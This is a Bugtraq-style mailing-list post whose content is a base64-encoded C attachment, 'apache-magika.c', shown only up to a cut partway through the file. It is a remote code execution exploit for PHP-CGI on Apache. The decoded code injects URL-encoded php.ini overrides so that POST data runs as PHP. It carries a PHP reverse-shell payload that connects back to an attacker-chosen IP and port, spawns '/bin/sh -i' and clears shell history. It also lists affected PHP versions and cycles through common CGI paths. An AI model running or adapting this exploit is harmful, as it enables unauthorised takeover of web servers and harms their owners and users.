Apache PHP Remote Exploit - apache-magika.c

看板Bugtraq作者時間12年前 (2013/12/22 10:32), 編輯推噓0(000)
留言0則, 0人參與, 最新討論串1/1
--089e01634aa675c71b04e9e41b8e Content-Type: text/plain; charset=ISO-8859-1 (see attachment) Signed, Kingcope --089e01634aa675c71b04e9e41b8e Content-Type: text/x-csrc; charset=US-ASCII; name="apache-magika.c" Content-Disposition: attachment; filename="apache-magika.c" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hnddmya60 LyogQXBhY2hlIE1hZ2ljYSBieSBLaW5nY29wZSAqLw0KLyogZ2NjIGFwYWNoZS1tYWdpa2EuYyAt byBhcGFjaGUtbWFnaWthIC1sc3NsICovDQovKiBUaGlzIGlzIGEgY29kZSBleGVjdXRpb24gYnVn IGluIHRoZSBjb21iaW5hdGlvbiBvZiBBcGFjaGUgYW5kIFBIUC4NCk9uIERlYmlhbiBhbmQgVWJ1 bnR1IHRoZSB2dWxuZXJhYmlsaXR5IGlzIHByZXNlbnQgaW4gdGhlIGRlZmF1bHQgaW5zdGFsbA0K b2YgdGhlIHBocDUtY2dpIHBhY2thZ2UuIFdoZW4gdGhlIHBocDUtY2dpIHBhY2thZ2UgaXMgaW5z dGFsbGVkIG9uIERlYmlhbiBhbmQNClVidW50dSBvciBwaHAtY2dpIGlzIGluc3RhbGxlZCBtYW51 YWxseSB0aGUgcGhwLWNnaSBiaW5hcnkgaXMgYWNjZXNzaWJsZSB1bmRlcg0KL2NnaS1iaW4vcGhw NSBhbmQgL2NnaS1iaW4vcGhwLiBUaGUgdnVsbmVyYWJpbGl0eSBtYWtlcyBpdCBwb3NzaWJsZSB0 byBleGVjdXRlDQp0aGUgYmluYXJ5IGJlY2F1c2UgdGhpcyBiaW5hcnkgaGFzIGEgc2VjdXJpdHkg Y2hlY2sgZW5hYmxlZCB3aGVuIGluc3RhbGxlZCB3aXRoDQpBcGFjaGUgaHR0cCBzZXJ2ZXIgYW5k IHRoaXMgc2VjdXJpdHkgY2hlY2sgaXMgY2lyY3VtdmVudGVkIGJ5IHRoZSBleHBsb2l0Lg0KV2hl biBhY2Nlc3NpbmcgdGhlIHBocC1jZ2kgYmluYXJ5IHRoZSBzZWN1cml0eSBjaGVjayB3aWxsIGJs b2NrIHRoZSByZXF1ZXN0IGFuZA0Kd2lsbCBub3QgZXhlY3V0ZSB0aGUgYmluYXJ5Lg0KSW4gdGhl IHNvdXJjZSBjb2RlIGZpbGUgc2FwaS9jZ2kvY2dpX21haW4uYyBvZiBQSFAgd2UgY2FuIHNlZSB0 aGF0IHRoZSBzZWN1cml0eQ0KY2hlY2sgaXMgZG9uZSB3aGVuIHRoZSBwaHAuaW5pIGNvbmZpZ3Vy YXRpb24gc2V0dGluZyBjZ2kuZm9yY2VfcmVkaXJlY3QgaXMgc2V0DQphbmQgdGhlIHBocC5pbmkg Y29uZmlndXJhdGlvbiBzZXR0aW5nIGNnaS5yZWRpcmVjdF9zdGF0dXNfZW52IGlzIHNldCB0byBu by4NClRoaXMgbWFrZXMgaXQgcG9zc2libGUgdG8gZXhlY3V0ZSB0aGUgYmluYXJ5IGJ5cGFzc2lu ZyB0aGUgU2VjdXJpdHkgY2hlY2sgYnkNCnNldHRpbmcgdGhlc2UgdHdvIHBocC5pbmkgc2V0dGlu Z3MuDQpQcmlvciB0byB0aGlzIGNvZGUgZm9yIHRoZSBTZWN1cml0eSBjaGVjayBnZXRvcHQgaXMg Y2FsbGVkIGFuZCBpdCBpcyBwb3NzaWJsZQ0KdG8gc2V0IGNnaS5mb3JjZV9yZWRpcmVjdCB0byB6 ZXJvIGFuZCBjZ2kucmVkaXJlY3Rfc3RhdHVzX2VudiB0byB6ZXJvIHVzaW5nIHRoZQ0KLWQgc3dp dGNoLiBJZiBib3RoIHZhbHVlcyBhcmUgc2V0IHRvIHplcm8gYW5kIHRoZSByZXF1ZXN0IGlzIHNl bnQgdG8gdGhlIHNlcnZlcg0KcGhwLWNnaSBnZXRzIGZ1bGx5IGV4ZWN1dGVkIGFuZCB3ZSBjYW4g dXNlIHRoZSBwYXlsb2FkIGluIHRoZSBQT1NUIGRhdGEgZmllbGQNCnRvIGV4ZWN1dGUgYXJiaXRy YXJ5IHBocCBhbmQgdGhlcmVmb3JlIHdlIGNhbiBleGVjdXRlIHByb2dyYW1zIG9uIHRoZSBzeXN0 ZW0uDQphcGFjaGUtbWFnaWthLmMgaXMgYW4gZXhwbG9pdCB0aGF0IGRvZXMgZXhhY3RseSB0aGUg cHJpb3IgZGVzY3JpYmVkLiBJdCBkb2VzDQpzdXBwb3J0IFNTTC4NCi8qIEFmZmVjdGVkIGFuZCB0 ZXN0ZWQgdmVyc2lvbnMNClBIUCA1LjMuMTANClBIUCA1LjMuOC0xDQpQSFAgNS4zLjYtMTMNClBI UCA1LjMuMw0KUEhQIDUuMi4xNw0KUEhQIDUuMi4xMQ0KUEhQIDUuMi42LTMNClBIUCA1LjIuNits ZW5ueTE2IHdpdGggU3Vob3Npbi1QYXRjaA0KQWZmZWN0ZWQgdmVyc2lvbnMNClBIUCBwcmlvciB0 byA1LjMuMTINClBIUCBwcmlvciB0byA1LjQuMg0KVW5hZmZlY3RlZCB2ZXJzaW9ucw0KUEhQIDQg LSBnZXRvcHQgcGFyc2VyIHVuZXhwbG9pdGFibGUNClBIUCA1LjMuMTIgYW5kIHVwDQpQSFAgNS40 LjIgYW5kIHVwDQpVbmFmZmVjdGVkIHZlcnNpb25zIGFyZSBwYXRjaGVkIGJ5IENWRS0yMDEyLTE4 MjMuDQoqLw0KLyogICAgLg0KICAgICAvJ1xycnEgcmsNCiAuICAvLyBcXCAgLg0KLnguLy9mY29c XC18LQ0KICcvL2NtdGNvXFx6dA0KIC8vNm1lcXJnLlxcdHENCi8vX19fX19fX19fXFwnDQpFSlBH UU8NCmFwYWNoZS1tYWdpY2EuYyBieSBLaW5nY29wZQ0KKi8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+ DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8Z2V0 b3B0Lmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3RkZGVmLmg+DQojaW5j bHVkZSA8b3BlbnNzbC9yYW5kLmg+DQojaW5jbHVkZSA8b3BlbnNzbC9zc2wuaD4NCiNpbmNsdWRl IDxvcGVuc3NsL2Vyci5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tl dC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCg0KdHlwZWRlZiBzdHJ1Y3Qgew0KCWludCBz b2NrZmQ7DQoJU1NMICpoYW5kbGU7DQoJU1NMX0NUWCAqY3R4Ow0KfSBjb25uZWN0aW9uOw0KDQp2 b2lkIHVzYWdlKGNoYXIgKmFyZ3ZbXSkNCnsNCiAgcHJpbnRmKCJ1c2FnZTogJXMgPC0tdGFyZ2V0 IHRhcmdldD4gPC0tcG9ydCBwb3J0PiA8LS1wcm90b2NvbCBodHRwfGh0dHBzPiAiIFwNCiAgIjwt LXJldmVyc2UtaXAgaXA+IDwtLXJldmVyc2UtcG9ydCBwb3J0PiBbLS1mb3JjZS1pbnRlcnByZXRl ciBpbnRlcnByZXRlcl1cbiIsDQogICBhcmd2WzBdKTsNCiAgZXhpdCgxKTsNCn0NCg0KY2hhciBw b3N0c3RyW10gPSAiUE9TVCAlcz8lJTJEJSU2NCslJTYxJSU2QyUlNkMlJTZGJSU3NyUlNUYiIFwN CiAiJSU3NSUlNzIlJTZDJSU1RiUlNjklJTZFJSU2MyUlNkMlJTc1JSU2NCUlNjUlJTNEJSU2RiUl NkUrJSUyRCUlNjQiIFwNCiAiKyUlNzMlJTYxJSU2NiUlNjUlJTVGJSU2RCUlNkYlJTY0JSU2NSUl M0QlJTZGJSU2NiUlNjYrJSUyRCUlNjQrJSU3MyIgXA0KICIlJTc1JSU2OCUlNkYlJTczJSU2OSUl NkUlJTJFJSU3MyUlNjklJTZEJSU3NSUlNkMlJTYxJSU3NCUlNjklJTZGJSU2RSIgXA0KICIlJTNE JSU2RiUlNkUrJSUyRCUlNjQrJSU2NCUlNjklJTczJSU2MSUlNjIlJTZDJSU2NSUlNUYlJTY2JSU3 NSUlNkUlJTYzIiBcDQogIiUlNzQlJTY5JSU2RiUlNkUlJTczJSUzRCUlMjIlJTIyKyUlMkQlJTY0 KyUlNkYlJTcwJSU2NSUlNkUlJTVGJSU2MiIgXA0KICIlJTYxJSU3MyUlNjUlJTY0JSU2OSUlNzIl JTNEJSU2RSUlNkYlJTZFJSU2NSslJTJEJSU2NCslJTYxJSU3NSUlNzQiIFwNCiAiJSU2RiUlNUYl JTcwJSU3MiUlNjUlJTcwJSU2NSUlNkUlJTY0JSU1RiUlNjYlJTY5JSU2QyUlNjUlJTNEJSU3MCUl NjgiIFwNCiAiJSU3MCUlM0ElJTJGJSUyRiUlNjklJTZFJSU3MCUlNzUlJTc0KyUlMkQlJTY0KyUl NjMlJTY3JSU2OSUlMkUlJTY2JSU2RiIgXA0KICIlJTcyJSU2MyUlNjUlJTVGJSU3MiUlNjUlJTY0 JSU2OSUlNzIlJTY1JSU2MyUlNzQlJTNEJSUzMCslJTJEJSU2NCslJTYzIiBcDQogIiUlNjclJTY5 JSUyRSUlNzIlJTY1JSU2NCUlNjklJTcyJSU2NSUlNjMlJTc0JSU1RiUlNzMlJTc0JSU2MSUlNzQl JTc1JSU3MyIgXA0KICIlJTVGJSU2NSUlNkUlJTc2JSUzRCUlMzArJSUyRCUlNkUgSFRUUC8xLjFc clxuIiBcDQogIkhvc3Q6ICVzXHJcbiIgXA0KICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoaVBh ZDsgQ1BVIE9TIDZfMCBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC81MzYuMjYiIFwNCiAiKEtI VE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzYuMCBNb2JpbGUvMTBBNTM1NWQgU2FmYXJpLzg1MzYu MjVcclxuIiBcDQogIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNv ZGVkXHJcbiIgXA0KICJDb250ZW50LUxlbmd0aDogJWRcclxuIiBcDQogIkNvbm5lY3Rpb246IGNs b3NlXHJcblxyXG4lcyI7DQpjaGFyIHBocHN0cltdID0gIjw/cGhwXG4iIFwNCiJzZXRfdGltZV9s aW1pdCgwKTtcbiIgXA0KIiRpcCA9ICclcyc7XG4iIFwNCiIkcG9ydCA9ICVkO1xuIiBcDQoiJGNo dW5rX3NpemUgPSAxNDAwO1xuIiBcDQoiJHdyaXRlX2EgPSBudWxsO1xuIiBcDQoiJGVycm9yX2Eg PSBudWxsO1xuIiBcDQoiJHNoZWxsID0gJ3Vuc2V0IEhJU1RGSUxFOyB1bnNldCBISVNUU0laRTsg dW5hbWUgLWE7IHc7IGlkOyAvYmluL3NoIC1pJztcbiIgXA0KIiRkYWVtb24gPSAwO1xuIiBcDQoi JGRlYnVnID0gMDtcbiIgXA0KImlmIChmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2ZvcmsnKSkge1xu IiBcDQoiCSRwaWQgPSBwY250bF9mb3JrKCk7CVxuIiBcDQoiCWlmICgkcGlkID09IC0xKSB7XG4i IFwNCiIJCXByaW50aXQoXCJFUlJPUjogQ2FuJ3QgZm9ya1wiKTtcbiIgXA0KIgkJZXhpdCgxKTtc biIgXA0KIgl9XG4iIFwNCiIJaWYgKCRwaWQpIHtcbiIgXA0KIgkJZXhpdCgwKTtcbiIgXA0KIgl9 XG4iIFwNCiIJaWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSB7XG4iIFwNCiIJCXByaW50aXQoXCJF cnJvcjogQ2FuJ3Qgc2V0c2lkKClcIik7XG4iIFwNCiIJCWV4aXQoMSk7XG4iIFwNCiIJfVxuIiBc DQoiCSRkYWVtb24gPSAxO1xuIiBcDQoifSBlbHNlIHtcbiIgXA0KIglwcmludGl0KFwiV0FSTklO RzogRmFpbGVkIHRvIGRhZW1vbmlzZS5cIik7XG4iIFwNCiJ9XG4iIFwNCiJjaGRpcihcIi9cIik7 XG4iIFwNCiJ1bWFzaygwKTtcbiIgXA0KIiRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRl cnJubywgJGVycnN0ciwgMzApO1xuIiBcDQoiaWYgKCEkc29jaykge1xuIiBcDQoiCXByaW50aXQo XCIkZXJyc3RyICgkZXJybm8pXCIpO1xuIiBcDQoiCWV4aXQoMSk7XG4iIFwNCiJ9XG4iIFwNCiIk ZGVzY3JpcHRvcnNwZWMgPSBhcnJheShcbiIgXA0KIiAgIDAgPT4gYXJyYXkoXCJwaXBlXCIsIFwi clwiKSxcbiIgXA0KIiAgIDEgPT4gYXJyYXkoXCJwaXBlXCIsIFwid1wiKSxcbiIgXA0KIiAgIDIg PT4gYXJyYXkoXCJwaXBlXCIsIFwid1wiKVxuIiBcDQoiKTtcbiIgXA0KIiRwcm9jZXNzID0gcHJv Y19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpO1xuIiBcDQoiaWYgKCFpc19y ZXNvdXJjZSgkcHJvY2VzcykpIHtcbiIgXA0KIglwcmludGl0KFwiRVJST1I6IENhbid0IHNwYXdu IHNoZWxsXCIpO1xuIiBcDQoiCWV4aXQoMSk7XG4iIFwNCiJ9XG4iIFwNCiJzdHJlYW1fc2V0X2Js b2NraW5nKCRwaXBlc1swXSwgMCk7XG4iIFwNCiJzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sx XSwgMCk7XG4iIFwNCiJzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7XG4iIFwNCiJz dHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTtcbiIgXA0KIndoaWxlICgxKSB7XG4iIFwNCiIJ aWYgKGZlb2YoJHNvY2spKSB7XG4iIFwNCiIJCXByaW50aXQoXCJFUlJPUjogU2hlbGwgY29ubmVj dGlvbiB0ZXJtaW5hdGVkXCIpO1xuIiBcDQoiCQlicmVhaztcbiIgXA0KIgl9XG4iIFwNCiIJaWYg KGZlb2YoJHBpcGVzWzFdKSkge1xuIiBcDQoiCQlwcmludGl0KFwiRVJST1I6IFNoZWxsIHByb2Nl c3MgdGVybWluYXRlZFwiKTtcbiIgXA0KIgkJYnJlYWs7XG4iIFwNCiIJfVxuIiBcDQoiCSRyZWFk X2EgPSBhcnJheSgkc29jaywgJHBpcGVzWzFdLCAkcGlwZXNbMl0pO1xuIiBcDQoiCSRudW1fY2hh bmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVjdCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2Es IG51bGwpO1xuIiBcDQoiCWlmIChpbl9hcnJheSgkc29jaywgJHJlYWRfYSkpIHtcbiIgXA0KIgkJ aWYgKCRkZWJ1ZykgcHJpbnRpdChcIlNPQ0sgUkVBRFwiKTtcbiIgXA0KIgkJJGlucHV0ID0gZnJl YWQoJHNvY2ssICRjaHVua19zaXplKTtcbiIgXA0KIgkJaWYgKCRkZWJ1ZykgcHJpbnRpdChcIlNP Q0s6ICRpbnB1dFwiKTtcbiIgXA0KIgkJZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTtcbiIgXA0K Igl9XG4iIFwNCiIJaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpIHtcbiIgXA0KIgkJ aWYgKCRkZWJ1ZykgcHJpbnRpdChcIlNURE9VVCBSRUFEXCIpO1xuIiBcDQoiCQkkaW5wdXQgPSBm cmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTtcbiIgXA0KIgkJaWYgKCRkZWJ1ZykgcHJpbnRp dChcIlNURE9VVDogJGlucHV0XCIpO1xuIiBcDQoiCQlmd3JpdGUoJHNvY2ssICRpbnB1dCk7XG4i IFwNCiIJfVxuIiBcDQoiCWlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7XG4iIFwN CiIJCWlmICgkZGVidWcpIHByaW50aXQoXCJTVERFUlIgUkVBRFwiKTtcbiIgXA0KIgkJJGlucHV0 ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7XG4iIFwNCiIJCWlmICgkZGVidWcpIHBy aW50aXQoXCJTVERFUlI6ICRpbnB1dFwiKTtcbiIgXA0KIgkJZndyaXRlKCRzb2NrLCAkaW5wdXQp O1xuIiBcDQoiCX1cbiIgXA0KIn1cbiIgXA0KIlxuIiBcDQoiZmNsb3NlKCRzb2NrKTtcbiIgXA0K ImZjbG9zZSgkcGlwZXNbMF0pO1xuIiBcDQoiZmNsb3NlKCRwaXBlc1sxXSk7XG4iIFwNCiJmY2xv c2UoJHBpcGVzWzJdKTtcbiIgXA0KInByb2NfY2xvc2UoJHByb2Nlc3MpO1xuIiBcDQoiZnVuY3Rp b24gcHJpbnRpdCAoJHN0cmluZykge1xuIiBcDQoiCWlmICghJGRhZW1vbikge1xuIiBcDQoiCQlw cmludCBcIiRzdHJpbmdcblwiO1xuIiBcDQoiCX1cbiIgXA0KIn1cbiIgXA0KImV4aXQoMSk7XG4i IFwNCiI/PiI7DQoNCnN0cnVjdCBzb2NrYWRkcl9pbiAqZ2V0aG9zdGJ5bmFtZV8oY2hhciAqaG9z dG5hbWUsIHVuc2lnbmVkIHNob3J0IHBvcnQpDQp7DQogc3RydWN0IGhvc3RlbnQgKmhlOw0KIHN0 cnVjdCBzb2NrYWRkcl9pbiBzZXJ2ZXIsICpzZXJ2ZXJjb3B5Ow0KIA0KIGlmICgoaGU9Z2V0aG9z dGJ5bmFtZShob3N0bmFtZSkpID09IE5VTEwpIHsNCiAgcHJpbnRmKCJIb3N0bmFtZSBjYW5ub3Qg YmUgcmVzb2x2ZWRcbiIpOw0KICBleGl0KDI1NSk7DQogfQ0KIA0KIHNlcnZlcmNvcHkgPSBtYWxs b2Moc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbikpOw0KIGlmICghc2VydmVyY29weSkgew0KCXBy aW50ZigibWFsbG9jIGVycm9yICgxKVxuIik7DQoJZXhpdCgyNTUpOw0KIH0NCiBtZW1zZXQoJnNl cnZlciwgJ1wwJywgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbikpOw0KIG1lbWNweSgmc2VydmVy LnNpbl9hZGRyLCBoZS0+aF9hZGRyX2xpc3RbMF0sICBoZS0+aF9sZW5ndGgpOw0KIHNlcnZlci5z aW5fZmFtaWx5ID0gQUZfSU5FVDsNCiBzZXJ2ZXIuc2luX3BvcnQgPSBodG9ucyhwb3J0KTsNCiBt ZW1jcHkoc2VydmVyY29weSwgJnNlcnZlciwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbikpOw0K IHJldHVybiBzZXJ2ZXJjb3B5Ow0KfQ0KDQpjaGFyICpzc2xyZWFkKGNvbm5lY3Rpb24gKmMpDQp7 DQogIGNoYXIgKnJjID0gTlVMTDsNCiAgaW50IHJlY2VpdmVkLCBjb3VudCA9IDAsIGNvdW50Mj0w Ow0KICBjaGFyIGNoOw0KDQogIGZvcig7OykNCiAgew0KICAgaWYgKCFyYykNCiAgICByYyA9IGNh bGxvYygxMDI0LCBzaXplb2YgKGNoYXIpICsgMSk7DQogICBlbHNlDQogICAgaWYgKGNvdW50MiAl IDEwMjQgPT0gMCkgew0KICAgICByYyA9IHJlYWxsb2MocmMsIChjb3VudDIgKyAxKSAqIDEwMjQg KiBzaXplb2YgKGNoYXIpICsgMSk7DQogICAgfQ0KICAgIHJlY2VpdmVkID0gU1NMX3JlYWQoYy0+ aGFuZGxlLCAmY2gsIDEpOw0KICAgIGlmIChyZWNlaXZlZCA9PSAxKSB7DQogICAgIHJjW2NvdW50 KytdID0gY2g7DQogICAgIGNvdW50MisrOw0KICAgICBpZiAoY291bnQyID4gMTAyNCo1KQ0KCSAg YnJlYWs7DQogICAgfQ0KICAgIGVsc2UNCiAgICAgYnJlYWs7DQogICB9DQogIHJldHVybiByYzsN Cn0NCg0KY2hhciAqcmVhZF8oaW50IHNvY2tmZCkNCnsNCiAgY2hhciAqcmMgPSBOVUxMOw0KICBp bnQgcmVjZWl2ZWQsIGNvdW50ID0gMCwgY291bnQyPTA7DQogIGNoYXIgY2g7DQoNCiAgZm9yKDs7 KQ0KICB7DQogICBpZiAoIXJjKQ0KICAgIHJjID0gY2FsbG9jKDEwMjQsIHNpemVvZiAoY2hhcikg KyAxKTsNCiAgIGVsc2UNCiAgICBpZiAoY291bnQyICUgMTAyNCA9PSAwKSB7DQogICAgIHJjID0g cmVhbGxvYyhyYywgKGNvdW50MiArIDEpICogMTAyNCAqIHNpemVvZiAoY2hhcikgKyAxKTsNCiAg ICB9DQogICAgcmVjZWl2ZWQgPSByZWFkKHNvY2tmZCwgJmNoLCAxKTsNCiAgICBpZiAocmVjZWl2 ZWQgPT0gMSkgew0KICAgICByY1tjb3VudCsrXSA9IGNoOw0KICAgICBjb3VudDIrKzsNCiAgICAg aWYgKGNvdW50MiA+IDEwMjQqNSkNCgkgIGJyZWFrOw0KICAgIH0NCiAgICBlbHNlDQogICAgIGJy ZWFrOw0KICAgfQ0KICByZXR1cm4gcmM7DQp9DQoNCnZvaWQgbWFpbihpbnQgYXJnYywgY2hhciAq YXJndltdKQ0Kew0KICBjaGFyICp0YXJnZXQsICpwcm90b2NvbCwgKnRhcmdldGlwLCAqd3JpdGVz dHIsICp0bXBzdHIsICpyZWFkYnVmPU5VTEwsDQogICAqaW50ZXJwcmV0ZXIsICpyZXZlcnNlaXAs ICpyZXZlcnNlcG9ydHN0ciwgKmZvcmNlaW50ZXJwcmV0ZXI9TlVMTDsNCiAgY2hhciBodHRwc2Zs YWc9MDsNCiAgdW5zaWduZWQgc2hvcnQgcG9ydD0wLCByZXZlcnNlcG9ydD0wOw0KICBzdHJ1Y3Qg c29ja2FkZHJfaW4gKnNlcnZlcjsNCiAgaW50IHNvY2tmZDsNCiAgdW5zaWduZWQgaW50IHdyaXRl c2l6ZSwgdG1wc2l6ZTsNCiAgdW5zaWduZWQgaW50IGk7DQogIGNvbm5lY3Rpb24gKnNzbGNvbm5l Y3Rpb247DQogIHByaW50ZigiLT09IEFwYWNoZSBNYWdpa2EgYnkgS2luZ2NvcGUgPT0tXG4iKTsN CiAgZm9yKDs7KQ0KICB7DQoJIGludCBjOw0KICAgICBpbnQgb3B0aW9uX2luZGV4PTA7DQogICAg IHN0YXRpYyBzdHJ1Y3Qgb3B0aW9uIGxvbmdfb3B0aW9uc1tdID0gew0KCSAgIHsidGFyZ2V0Iiwg cmVxdWlyZWRfYXJndW1lbnQsIDAsIDAgfSwNCgkgICB7InBvcnQiLCByZXF1aXJlZF9hcmd1bWVu dCwgMCwgMCB9LA0KCSAgIHsicHJvdG9jb2wiLCByZXF1aXJlZF9hcmd1bWVudCwgMCwgMCB9LA0K CSAgIHsicmV2ZXJzZS1pcCIsIHJlcXVpcmVkX2FyZ3VtZW50LCAwLCAwIH0sDQoJICAgeyJyZXZl cnNlLXBvcnQiLCByZXF1aXJlZF9hcmd1bWVudCwgMCwgMCB9LA0KCSAgIHsiZm9yY2UtaW50ZXJw cmV0ZXIiLCByZXF1aXJlZF9hcmd1bWVudCwgMCwgMCB9LAkgICANCgkgICB7MCwgMCwgMCwgMCB9 DQoJICB9Ow0KCSANCgkgYyA9IGdldG9wdF9sb25nKGFyZ2MsIGFyZ3YsICIiLCBsb25nX29wdGlv bnMsICZvcHRpb25faW5kZXgpOw0KICAgICBpZiAoYyA8IDApDQogICAgIAlicmVhazsNCiAgICAg DQogICAgIHN3aXRjaCAoYykgew0KCSBjYXNlIDA6DQoJICBzd2l0Y2ggKG9wdGlvbl9pbmRleCkg ew0KCSAgIGNhc2UgMDoNCgkgICAgaWYgKG9wdGFyZykgew0KCSAgICAgdGFyZ2V0ID0gY2FsbG9j KHN0cmxlbihvcHRhcmcpKzEsIHNpemVvZihjaGFyKSk7DQoJICAgICBpZiAoIXRhcmdldCkgew0K CQkgIHByaW50ZigiY2FsbG9jIGVycm9yICgyKVxuIik7DQoJICAgICAgZXhpdCgyNTUpOw0KICAg ICAgICAgfQ0KCSAgICAgbWVtY3B5KHRhcmdldCwgb3B0YXJnLCBzdHJsZW4ob3B0YXJnKSsxKTsN CiAgICAJfQ0KICAgICAgICBicmVhazsNCiAgICAgICBjYXNlIDE6DQogICAgICAgIGlmKG9wdGFy ZykNCgkgICAgIHBvcnQgPSBhdG9pKG9wdGFyZyk7DQogICAgICAgIGJyZWFrOw0KICAgICAgIGNh c2UgMjoNCiAgICAgICAgcHJvdG9jb2wgPSBjYWxsb2Moc3RybGVuKG9wdGFyZykrMSwgc2l6ZW9m KGNoYXIpKTsNCiAgICAgICAgaWYgKCFwcm90b2NvbCkgew0KCSAgICAgcHJpbnRmKCJjYWxsb2Mg ZXJyb3IgKDMpXG4iKTsNCiAgICAgICAgIGV4aXQoMjU1KTsNCiAgICAgICAgfQ0KICAgICAgICBt ZW1jcHkocHJvdG9jb2wsIG9wdGFyZywgc3RybGVuKG9wdGFyZykrMSk7DQogICAgICAgIGlmICgh c3RyY21wKHByb3RvY29sLCAiaHR0cHMiKSkNCiAgICAgICAgIGh0dHBzZmxhZz0xOw0KICAgICAg ICBicmVhazsNCiAgICAgICBjYXNlIDM6DQogICAgICAgIHJldmVyc2VpcCA9IGNhbGxvYyhzdHJs ZW4ob3B0YXJnKSsxLCBzaXplb2YoY2hhcikpOw0KICAgICAgICBpZiAoIXJldmVyc2VpcCkgew0K CSAgICAgcHJpbnRmKCJjYWxsb2MgZXJyb3IgKDQpXG4iKTsNCiAgICAgICAgIGV4aXQoMjU1KTsN CiAgICAgICAgfQ0KICAgICAgICBtZW1jcHkocmV2ZXJzZWlwLCBvcHRhcmcsIHN0cmxlbihvcHRh cmcpKzEpOyAgICAgICANCiAgICAgICAgYnJlYWs7DQogICAgICAgY2FzZSA0Og0KCSAgICByZXZl cnNlcG9ydCA9IGF0b2kob3B0YXJnKTsgICAgICAgDQoJCXJldmVyc2Vwb3J0c3RyID0gY2FsbG9j KHN0cmxlbihvcHRhcmcpKzEsIHNpemVvZihjaGFyKSk7DQogICAgICAgIGlmICghcmV2ZXJzZXBv cnRzdHIpIHsNCgkgICAgIHByaW50ZigiY2FsbG9jIGVycm9yICg1KVxuIik7DQogICAgICAgICBl eGl0KDI1NSk7DQogICAgICAgIH0NCiAgICAgICAgbWVtY3B5KHJldmVyc2Vwb3J0c3RyLCBvcHRh cmcsIHN0cmxlbihvcHRhcmcpKzEpOyAgCSAgICAgDQogICAgICAgIGJyZWFrOw0KICAgICAgIGNh c2UgNToNCiAgICAgICAgZm9yY2VpbnRlcnByZXRlciA9IGNhbGxvYyhzdHJsZW4ob3B0YXJnKSsx LCBzaXplb2YoY2hhcikpOw0KICAgICAgICBpZiAoIWZvcmNlaW50ZXJwcmV0ZXIpIHsNCgkgICAg IHByaW50ZigiY2FsbG9jIGVycm9yICg2KVxuIik7DQogICAgICAgICBleGl0KDI1NSk7DQogICAg ICAgIH0NCiAgICAgICAgbWVtY3B5KGZvcmNlaW50ZXJwcmV0ZXIsIG9wdGFyZywgc3RybGVuKG9w dGFyZykrMSk7ICAgICAgIA0KICAgICAgICBicmVhazsNCiAgICAgICBkZWZhdWx0Og0KICAgICAg ICB1c2FnZShhcmd2KTsNCgkgIH0NCgkgIGJyZWFrOw0KCSANCgkgZGVmYXVsdDoNCgkgIHVzYWdl KGFyZ3YpOw0KICAgICB9DQogIH0NCg0KICBpZiAoKG9wdGluZCA8IGFyZ2MpIHx8ICF0YXJnZXQg fHwgIXByb3RvY29sIHx8ICFwb3J0IHx8DQogICAgICAhcmV2ZXJzZWlwIHx8ICFyZXZlcnNlcG9y dCl7DQoJdXNhZ2UoYXJndik7DQogIH0NCiAgDQogIHNlcnZlciA9IGdldGhvc3RieW5hbWVfKHRh cmdldCwgcG9ydCk7DQogIGlmICghc2VydmVyKSB7DQogICBwcmludGYoIkVycm9yIHdoaWxlIHJl c29sdmluZyBob3N0bmFtZS4gKDcpXG4iKTsNCiAgIGV4aXQoMjU1KTsNCiAgfQ0KDQogIGNoYXIg KmludGVycHJldGVyc1s1XTsNCiAgaW50IG5pbnRlcnByZXRlcnMgPSA1Ow0KICBpbnRlcnByZXRl cnNbMF0gPSBzdHJkdXAoIi9jZ2ktYmluL3BocCIpOw0KICBpbnRlcnByZXRlcnNbMV0gPSBzdHJk dXAoIi9jZ2ktYmluL3BocDUiKTsNCiAgaW50ZXJwcmV0ZXJzWzJdID0gc3RyZHVwKCIvY2dpLWJp bi9waHAtY2dpIik7DQogIGludGVycHJldGVyc1szXSA9IHN0cmR1cCgiL2NnaS1iaW4vcGhwLmNn aSIpOw0KICBpbnRlcnByZXRlcnNbNF0gPSBzdHJkdXAoIi9jZ2ktYmluL3BocDQiKTsNCiAgDQog IGZvciAoaT0wO2k8bmludGVycHJldGVycztpKyspIHsNCiAgIGludGVycHJldGVyID0gaW50ZXJw cmV0ZXJzW2ldOw0KICAgaWYgKGZvcmNlaW50ZXJwcmV0ZXIpIHsNCiAgICAgaW50ZXJwcmV0ZXIg PSBzdHJkdXAoZm9yY2VpbnRlcnByZXRlcik7DQogICB9DQogICBpZiAoZm9yY2VpbnRlcnByZXRl ciAmJiBpKQ0KICAgIGJyZWFrOw0KICAgcHJpbnRmKCIlc1xuIiwgaW50ZXJwcmV0ZXIpOw0KICAg 